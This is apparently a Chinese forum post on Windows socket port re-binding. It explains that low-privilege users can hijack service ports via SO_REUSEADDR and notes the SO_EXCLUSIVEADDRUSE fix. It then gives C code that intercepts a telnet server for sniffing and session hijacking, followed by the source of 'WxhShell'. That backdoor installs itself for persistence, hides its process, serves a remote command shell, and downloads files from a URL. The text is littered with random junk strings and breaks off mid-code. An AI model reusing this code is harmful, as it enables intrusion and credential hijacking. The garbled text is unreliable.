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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2Ju,P_<dt  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (fO~nN{F  
ACgWT  
  saddr.sin_family = AF_INET; 8[8U49V9(  
[@s5v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bHHR^*B  
c;R .rV<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Gs}lw'pK  
yhyh\.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GuJIN"P]  
lx~mn~;x  
  这意味着什么?意味着可以进行如下的攻击: 2Xfy?U  
6K9-n}z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NMP*q @  
;!>>C0s"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]g9n#$|.  
MK4CggoC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6IM:Xj  
E __A1j*gd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8L(KdDY  
);x[1*e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UgLJV2M6  
w~*"mZaG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s-xby~  
VnMiZAHR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8m) E~6  
OB ~74}3;  
  #include 'MIM_m)H  
  #include <4Cy U j  
  #include {pB9T3ry]  
  #include    pJwy ~ L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GP}+c8|2  
  int main() *|:]("i  
  { ia /_61%  
  WORD wVersionRequested; {{_,YO^w  
  DWORD ret; !GVxQll[f  
  WSADATA wsaData; ' 9  
  BOOL val; Yy0m &3[  
  SOCKADDR_IN saddr; <8/lHQ^\)  
  SOCKADDR_IN scaddr; w+ tO@  
  int err; H=9\B}  
  SOCKET s; %bUpVyi!(  
  SOCKET sc; ZsYT&P2  
  int caddsize; T k4"qGC.  
  HANDLE mt; [p_C?hHO  
  DWORD tid;   =p';y&   
  wVersionRequested = MAKEWORD( 2, 2 ); rhvsd2 zi  
  err = WSAStartup( wVersionRequested, &wsaData ); N DV_/BI  
  if ( err != 0 ) { S>p>$m, Q  
  printf("error!WSAStartup failed!\n"); -^7n+ QX  
  return -1; uc;QSVWGy8  
  } doaqHri\,  
  saddr.sin_family = AF_INET; tt>=Vt '  
   meV RdQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _26F[R1><~  
ktKT=(F&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bwh.ekf8  
  saddr.sin_port = htons(23); qT L@N9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !b+Kasss9  
  { D<cHa |  
  printf("error!socket failed!\n"); V]9 ?9-r  
  return -1; b}r3x&)  
  } ~UJ_Rr54  
  val = TRUE; KcjP39@I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lq!l{[Xp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yS-owtVCGF  
  { `_v|O{DC{  
  printf("error!setsockopt failed!\n"); 1%6}m`3  
  return -1; mWM!6"  
  } ZK]C!8\2|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y,@{1X`0@3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +P<LoI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bdCpGG9  
-.E<~(fad  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hw&R .F  
  { *l^%7W rk  
  ret=GetLastError(); 4<&`\<jZ  
  printf("error!bind failed!\n"); qcfLA~y  
  return -1; _ #+~#U%5n  
  } Kq';[Yc  
  listen(s,2); s0"1W"7vh  
  while(1) <[7.+{qfW  
  { f"5vpU^5*  
  caddsize = sizeof(scaddr); [nlW}1)46  
  //接受连接请求 QY<2i-A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X^H)2G>e  
  if(sc!=INVALID_SOCKET) Dl%NVi+n  
  { Pw'3ya8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O(PG"c  
  if(mt==NULL) u-7/4Y)c  
  { U.G**v  
  printf("Thread Creat Failed!\n"); ;[@< ,  
  break; Ui 7S8c#tH  
  } u1&pJLK0[  
  } ^1S(6'a#  
  CloseHandle(mt);  P-QZ=dm  
  } ]W%<<S  
  closesocket(s); ?c^0%Op  
  WSACleanup(); ~V"D|U;i +  
  return 0; .~6p/fHX  
  }   DO$jX 4  
  DWORD WINAPI ClientThread(LPVOID lpParam) dg 4 QA_"  
  { g%Ap<iT  
  SOCKET ss = (SOCKET)lpParam; (;'?56  
  SOCKET sc; <gKT7ONtg  
  unsigned char buf[4096]; b^\u P  
  SOCKADDR_IN saddr;   Hs8c%C  
  long num; |}\et ecB  
  DWORD val; ,!3G  
  DWORD ret; >T4.mB7+>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :d-+Z%Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yla&/K;|*  
  saddr.sin_family = AF_INET; F%x8y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *O|Z[>  
  saddr.sin_port = htons(23); W9?Vh{w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T'l >$6  
  { {ls$#a+d  
  printf("error!socket failed!\n"); ^~2GhveBV  
  return -1; 8|w_PP1oE  
  } iP;X8'< BC  
  val = 100; 0zaE?dA]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qsc%qt-l  
  { /4]M*ls  
  ret = GetLastError(); {|6(_SM|  
  return -1; l =ZhHON  
  } &gZ5dTj>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jYRwtP\  
  { #!KbqRt  
  ret = GetLastError(); Bls\)$  
  return -1; %9xz[Ng  
  } A_}F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K<KyX8$P0  
  { x(7K=K']  
  printf("error!socket connect failed!\n"); m6)8L?B   
  closesocket(sc); 4QZ -7_  
  closesocket(ss); k#% BxT  
  return -1; mh!;W=|/"  
  } aO?(ZL  
  while(1) /v E>*x  
  { VAF+\Cea=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t7("geN]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DQd~!21\|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jx&pRjP  
  num = recv(ss,buf,4096,0); #z)@T  
  if(num>0) i3*S`/]p  
  send(sc,buf,num,0); g6k@E,cI_  
  else if(num==0) YsXP$y]g-  
  break; z{cIG8z  
  num = recv(sc,buf,4096,0); v"Fa_+TVx  
  if(num>0) GmB7@-[QA%  
  send(ss,buf,num,0); RiF~-;v&  
  else if(num==0) a 1Qg&s<  
  break; Tz1St{s\  
  } =u(. Y  
  closesocket(ss); EaG3:<>J  
  closesocket(sc); ;GO>#yg4Eh  
  return 0 ; s2Ivd*=mT  
  } `itaQGLD  
oW(p (>  
~fn2B  
========================================================== c-!rJHL`  
T%Vii*?M  
下边附上一个代码,,WXhSHELL 1K&z64Q5J  
[J0L7p*6  
========================================================== RX%*:lXi_  
!MNUp(:  
#include "stdafx.h" .OVIQxf  
k`6T% [D]  
#include <stdio.h> Zg%U4m:  
#include <string.h> l~wx8 ,?G  
#include <windows.h> P}y}IR{6  
#include <winsock2.h> -@-cG\{  
#include <winsvc.h> .xuLvNyQr  
#include <urlmon.h> _) 2fXG!  
l=[<gPE  
#pragma comment (lib, "Ws2_32.lib")  z@^l1)m  
#pragma comment (lib, "urlmon.lib") qC40/1-m8K  
Ps(3X@  
#define MAX_USER   100 // 最大客户端连接数 CE:TQzg  
#define BUF_SOCK   200 // sock buffer *[(O&L&0  
#define KEY_BUFF   255 // 输入 buffer fP%hr gL  
.HF+JHIUu  
#define REBOOT     0   // 重启 6+A<_r`#Q  
#define SHUTDOWN   1   // 关机 8*I43Jtlf,  
?h"+q8&  
#define DEF_PORT   5000 // 监听端口 Xz&Hfs"/J  
kehv85  
#define REG_LEN     16   // 注册表键长度 kN >%y&cK  
#define SVC_LEN     80   // NT服务名长度 c%r?tKG6  
}kdYR#{s  
// 从dll定义API V}=9S@$o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Id(o6j^J_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =xWZJ:UnU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \zw0*;&U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {3]g3mj  
hWwh`Vw%  
// wxhshell配置信息 M2_sxibI  
struct WSCFG { p#) u2^  
  int ws_port;         // 监听端口 V|ax(tHv  
  char ws_passstr[REG_LEN]; // 口令 v-J*PB.0p  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;(fDR8  
  char ws_regname[REG_LEN]; // 注册表键名 >XjSVRO  
  char ws_svcname[REG_LEN]; // 服务名 NduvfA4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *fso6j#%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (p'yya{(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >_(Xb %w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B1 oi]hDy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :XEP:8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t&^9o $  
]tL9y<  
}; PuqT&|wP l  
ehl) {Dd^  
// default Wxhshell configuration -$J\BkI  
struct WSCFG wscfg={DEF_PORT, #"fBF/Q  
    "xuhuanlingzhe", N%%2!Z#  
    1, ;ajCnSmR  
    "Wxhshell", '{p/F $  
    "Wxhshell", j1%o+#df  
            "WxhShell Service", k`U")lv  
    "Wrsky Windows CmdShell Service", xGCW-YR9  
    "Please Input Your Password: ", !*ct3{m  
  1, > $DMVtE0  
  "http://www.wrsky.com/wxhshell.exe", at]=SA  
  "Wxhshell.exe" >{p&_u.r-  
    }; mk8xNpk B  
}&Un8Rg"h  
// 消息定义模块 G < Z)y#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bO>q`%&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; trcG^uV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q{T6t;eH  
char *msg_ws_ext="\n\rExit."; 7T9m@  
char *msg_ws_end="\n\rQuit."; MWl?pG!Y  
char *msg_ws_boot="\n\rReboot..."; [ X]yj  
char *msg_ws_poff="\n\rShutdown..."; IL`X}=L_  
char *msg_ws_down="\n\rSave to "; G?CaCleG  
:0x,%V74_!  
char *msg_ws_err="\n\rErr!"; A94ZG:   
char *msg_ws_ok="\n\rOK!"; '=K [3%U  
@H2c77%  
char ExeFile[MAX_PATH]; q`_d>l  
int nUser = 0; je@F:5  
HANDLE handles[MAX_USER]; B:#5U85m  
int OsIsNt; W~(@*H  
7Vd"k;:X  
SERVICE_STATUS       serviceStatus; Rd@34"O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kIhP 73M  
GOuBNaU {  
// 函数声明 A&X(\c M  
int Install(void); EjW3_ %  
int Uninstall(void); ~sT/t1Rp  
int DownloadFile(char *sURL, SOCKET wsh); )zz^RB\p  
int Boot(int flag); H6%QM}t  
void HideProc(void); b9Jah  
int GetOsVer(void); ]Ir{9EE v  
int Wxhshell(SOCKET wsl); yH5^EY7rQ  
void TalkWithClient(void *cs); 5S`_q&  
int CmdShell(SOCKET sock); XG FjqZr`  
int StartFromService(void); oU`8\ n](  
int StartWxhshell(LPSTR lpCmdLine); <"F\&M`G  
@zo}#.g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wZB:7E%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2(M^8Bl  
)Be?axI  
// 数据结构和表定义 d5h]yIz^  
SERVICE_TABLE_ENTRY DispatchTable[] = 3<.]+ukm  
{ (?R;u>  
{wscfg.ws_svcname, NTServiceMain}, )@+lfIE(l  
{NULL, NULL} VWDXEa9  
}; ^Z1t'-xZ  
j06?Mm_c2  
// 自我安装 ?}|l )  
int Install(void) };;\&#  
{ l3kYfq{";"  
  char svExeFile[MAX_PATH]; +Tz Z   
  HKEY key; hbl%<ItI49  
  strcpy(svExeFile,ExeFile); (1pI#H"f9  
/Iht,@%E  
// 如果是win9x系统,修改注册表设为自启动 \1|]?ZQ\K  
if(!OsIsNt) { aK>5r^7S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !kCMw%[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b-4g HW  
  RegCloseKey(key); 7OuzQzhcK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n[DQ5l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); & D@/_m $  
  RegCloseKey(key); n.9k<  
  return 0; vC$Q4>m  
    } HQPb  
  } fXfBDB  
} pkTg.70wU  
else { 0-Z sV3I&  
)Dn~e#  
// 如果是NT以上系统,安装为系统服务 V)x(\ls]SX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qkQ _#  
if (schSCManager!=0) E.~;  
{ a(Q4*XH4  
  SC_HANDLE schService = CreateService =2+';Xk\  
  ( 81?7u!=ic+  
  schSCManager, x~1.;dBF  
  wscfg.ws_svcname, T'YHV}b}vX  
  wscfg.ws_svcdisp, kg@D?VqJP  
  SERVICE_ALL_ACCESS, x1H?e8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MtE18m "z  
  SERVICE_AUTO_START, 9gjI;*(z1  
  SERVICE_ERROR_NORMAL, _<Hx1l~  
  svExeFile, R}~p1=D  
  NULL, 9J>b6   
  NULL, fpMnA  
  NULL, &qR1fbw"  
  NULL, ]LGp3)T-  
  NULL lIR0jgP@z  
  ); Hgu:*iYA  
  if (schService!=0) H<tk/\C  
  { <eWGvIEP[  
  CloseServiceHandle(schService); $xx5+A%,  
  CloseServiceHandle(schSCManager); /rMxl(wD'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |GmV1hN  
  strcat(svExeFile,wscfg.ws_svcname); #bRr|`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;VQFz&Q$u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JiFy.Pf  
  RegCloseKey(key); W40GW  
  return 0; oL?[9aww  
    } t:A,pT3  
  } 00DWXGt20o  
  CloseServiceHandle(schSCManager); $#Mew:J  
} "v.]s;g  
} P<+y%g(({  
m3|KIUP  
return 1; %y@iA91K  
} @\~qXz{6J  
!A R$JUnX  
// 自我卸载  ]J= S\  
int Uninstall(void) C):RE<X  
{ B_f0-nKP  
  HKEY key; m>po+7"b  
9ICC2%j|  
if(!OsIsNt) { fX.V+.rj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]>utLi5dX  
  RegDeleteValue(key,wscfg.ws_regname); ZqI.n4:9  
  RegCloseKey(key); x.>E7 +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >{DHW1kF?  
  RegDeleteValue(key,wscfg.ws_regname); fVR:m`'Iq_  
  RegCloseKey(key); GPqF>   
  return 0; V<} ^n  
  } 9&'I?D&8  
} , N :'Z  
} ,gU%%>-_~w  
else { [V#"7O vl  
Q:iW k6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4SG22$7W  
if (schSCManager!=0) C:tA|<b|  
{ P\ yt!S2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E)(`Z0  
  if (schService!=0) ] o!#]]   
  { j/zD`yd j  
  if(DeleteService(schService)!=0) { =hV-E D  
  CloseServiceHandle(schService); V/j]UK0$  
  CloseServiceHandle(schSCManager); a S- rng  
  return 0; 0Sz&Oguv  
  } +uPN+CgQ@  
  CloseServiceHandle(schService); Z_%}pe39B  
  } DSwF }  
  CloseServiceHandle(schSCManager); h]Zc&&+8{  
} T[$Sbz`  
} `1%SXP1  
v}6YbY Tq  
return 1; #Id.MLHxA_  
} 1SBc:!2  
qa![oMKc  
// 从指定url下载文件 =N,KVMxw  
int DownloadFile(char *sURL, SOCKET wsh) y)3(  
{ MDkIaz\U  
  HRESULT hr; }9C5U>?  
char seps[]= "/"; "X']_:F1a  
char *token; +n(H"I7cU  
char *file; F"a^`E&  
char myURL[MAX_PATH]; PVO9KWv**  
char myFILE[MAX_PATH]; *$(=I6b  
p71% -nV  
strcpy(myURL,sURL); A!v-[AI[  
  token=strtok(myURL,seps); CiP-Zh[gZ  
  while(token!=NULL) {d$S~  
  { X.0/F6U  
    file=token; dE5DH~ldV  
  token=strtok(NULL,seps); ;{|a~e?Y  
  } @C=, >+D  
h3;Ij'  
GetCurrentDirectory(MAX_PATH,myFILE); PMZdz>>T  
strcat(myFILE, "\\"); VGcl)fIqw?  
strcat(myFILE, file); D} 0>x~  
  send(wsh,myFILE,strlen(myFILE),0); :C42yQAP  
send(wsh,"...",3,0); &QOob)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }\u~He%  
  if(hr==S_OK) TJY$<:  
return 0; DT&[W<oN  
else |D^Q}uT  
return 1; , IUMH]D  
U]sU b3  
} hvBuQuk)  
-b@E@uAX /  
// 系统电源模块 SX}GKu  
int Boot(int flag) AW'tZF"  
{ =nnS X-x  
  HANDLE hToken; 'OGOT0(  
  TOKEN_PRIVILEGES tkp; EpGe'S  
[[D}vL8d  
  if(OsIsNt) { P's<M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )ymF: ]QC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *DkA$Eu3u  
    tkp.PrivilegeCount = 1; ,WOF)   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Oe9{`~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0jv9N6IM  
if(flag==REBOOT) { z>j%-3_1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y tGH>0}h  
  return 0; G%YD2<V  
} | 7>1)  
else { RA[` Cp"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z!Kadqns  
  return 0; uMsKF%m  
} 7k6rhf7H  
  } mQ%kGqs  
  else { 9+QLcb  
if(flag==REBOOT) { NtTLvO6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =mqV&FgRo  
  return 0; J=K3S9:n]g  
} z,rWj][P  
else { Cw{#(xX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %o4d4 3uZ  
  return 0; C`mXEX5  
} Tf@t.4\  
} Q\=u2}/z0  
*MagicA  
return 1; SATZ!  
} =|3 L'cDC  
n+GCL+Mo  
// win9x进程隐藏模块 3UC8iq*  
void HideProc(void) W \f7fVU  
{ d+T]EpQJ*  
n]Dq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6%S>~L66  
  if ( hKernel != NULL ) ^ioTd  
  { uFdSD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PLLlo~Bb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 66L*6O4  
    FreeLibrary(hKernel); SgXXitg9+  
  } [RpFC4W  
p'w[5'  
return; xC;$/u%'  
} n; rOH[P  
F$ h/k^  
// 获取操作系统版本 McsqMI6  
int GetOsVer(void) * n!0  
{ ^|sxbP  
  OSVERSIONINFO winfo; hChM hc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ; wHuL\  
  GetVersionEx(&winfo); [ z$J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M2xUs  
  return 1; bkOm/8k|4  
  else 5 #kvb$97  
  return 0; !d(!1fC  
} g<.8iW 'c  
|e< U%v  
// 客户端句柄模块 It_yh #s  
int Wxhshell(SOCKET wsl) 0>e>G(4(8  
{ P;_dil G  
  SOCKET wsh; jB1\L<P  
  struct sockaddr_in client; ] lO$oO  
  DWORD myID; W' 2)$e  
|u}sX5/q  
  while(nUser<MAX_USER) Cn`% *w  
{ 4x C0Aw  
  int nSize=sizeof(client); *E. 2R{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~r>UjC_ B:  
  if(wsh==INVALID_SOCKET) return 1; Mvcl9  
F 1zc4l6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9MYt4  
if(handles[nUser]==0) 3p4bOT5  
  closesocket(wsh); b5)>h  
else (Iq\+@xE=  
  nUser++; 33;|52$  
  } ;q^YDZ'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SQ1&n;M}f  
sIy$}_  
  return 0; AMm O+E?  
} #&5\1Qu  
mE7Jv)@  
// 关闭 socket aEM#V  
void CloseIt(SOCKET wsh) &GZR-/  
{ O~Fk0}-  
closesocket(wsh); L"-&B$B:  
nUser--; ./g#<  
ExitThread(0); 7r;A wa  
} v4.V%tg!  
Q?;ntzi  
// 客户端请求句柄 }N|/b"j9  
void TalkWithClient(void *cs) e.kt]l  
{ {r}}X@|5  
v}mmY>M%  
  SOCKET wsh=(SOCKET)cs; 2bC%P})m  
  char pwd[SVC_LEN]; _k@l-Bj  
  char cmd[KEY_BUFF]; #FQVhgc  
char chr[1]; 52 A=c1kb  
int i,j; [}Iq-sz;0  
bbM !<&F  
  while (nUser < MAX_USER) { mT9\%5d3  
68>zO %  
if(wscfg.ws_passstr) { ?d0Dfqh_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :)yM9^<D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^KF'/9S  
  //ZeroMemory(pwd,KEY_BUFF); S\rfR N  
      i=0; v;8XRR:  
  while(i<SVC_LEN) { lpM{@JC  
fh 3 6  
  // 设置超时 $3Ia+O   
  fd_set FdRead; .WPqK >79|  
  struct timeval TimeOut; !Ch ya  
  FD_ZERO(&FdRead); xd.C&Dx5  
  FD_SET(wsh,&FdRead); Ol@ZH_  
  TimeOut.tv_sec=8; U Oo(7  
  TimeOut.tv_usec=0; &Os Ritj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1GdgF?4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,'6GG+  
q'r3a+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K\ ]r  
  pwd=chr[0]; Uwk|M?94  
  if(chr[0]==0xd || chr[0]==0xa) { LN^8U  
  pwd=0; 0A9cu,ZdUR  
  break; b#U%aPH  
  } /km3L7L%R  
  i++; *X-$* ~J0  
    } ;CZcY] ol  
Oe!&Jma*>  
  // 如果是非法用户,关闭 socket h:NXO'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !;a<E:  
} i5"q1dRQ  
3Cl9,Z"&6$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uf<vw3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8(;i~f:bCW  
9 JtG&^*  
while(1) { OXB-.<  
!/zj7z !  
  ZeroMemory(cmd,KEY_BUFF);  B" z5j  
yw<xv-Q=i  
      // 自动支持客户端 telnet标准   T1&H!  
  j=0; :JIPF=]fc  
  while(j<KEY_BUFF) { *ZGN!0/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0}V'\=F454  
  cmd[j]=chr[0]; $C/Gn~k 5  
  if(chr[0]==0xa || chr[0]==0xd) { #w@Pa L iS  
  cmd[j]=0; aB)DX  
  break; zJ`(LnV  
  } xW4+)F5P(  
  j++; sCl,]g0{  
    } k]iS3+nD  
kDh(~nfj  
  // 下载文件 {  9$Q|XK  
  if(strstr(cmd,"http://")) { O2dgdtm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :bDA<B6bb  
  if(DownloadFile(cmd,wsh)) S/;Y4o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ZO<8|bW  
  else vBx^zDe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =;=V4nKN  
  } E}=NZqOB!  
  else { O;BPd:<  
Gf\_WNrSE+  
    switch(cmd[0]) { ^nF$<#a  
  jYz3(mM'J  
  // 帮助 eb\`)MI/  
  case '?': { uek3Y[n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Nk4_!  
    break; \k_3IP?o=  
  } !ei20@  
  // 安装 fZ fiiE~7J  
  case 'i': { 5qEdN  
    if(Install())  F`.7_D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oZ[ w  
    else Dys"|,F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2*YXm>|1  
    break; pNFIO t:(  
    } jt--w"|-r  
  // 卸载 -RQQ|:O$  
  case 'r': { P;L Z!I  
    if(Uninstall()) ;i :wY&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zr;=p"cXr  
    else Y{|yB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q:EQ,  
    break; 2kq@*}ys  
    } 8]\h^k4f  
  // 显示 wxhshell 所在路径 {fv8S;|u  
  case 'p': { oZ:F3 GQ4Q  
    char svExeFile[MAX_PATH]; ueBoSZRWX  
    strcpy(svExeFile,"\n\r"); 4>C=:w  
      strcat(svExeFile,ExeFile); E}/|Lja  
        send(wsh,svExeFile,strlen(svExeFile),0); b'5pQ2Mq  
    break; {VG[m@  
    } 6CRPdLTDf  
  // 重启 <h51KPo^P  
  case 'b': { 9[E$>o"%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c[lob{,  
    if(Boot(REBOOT)) [#'_@zZz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qmx~_  
    else { ^3o8F  
    closesocket(wsh); [F[<2{FQF  
    ExitThread(0); }zxh:"#K  
    } 5)NBM7h  
    break; $ _Bu,;  
    } t~K!["g  
  // 关机 4(GgaQFO?  
  case 'd': { WCTW#<izm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^>{;9 lo<  
    if(Boot(SHUTDOWN)) VDjIs UUX  
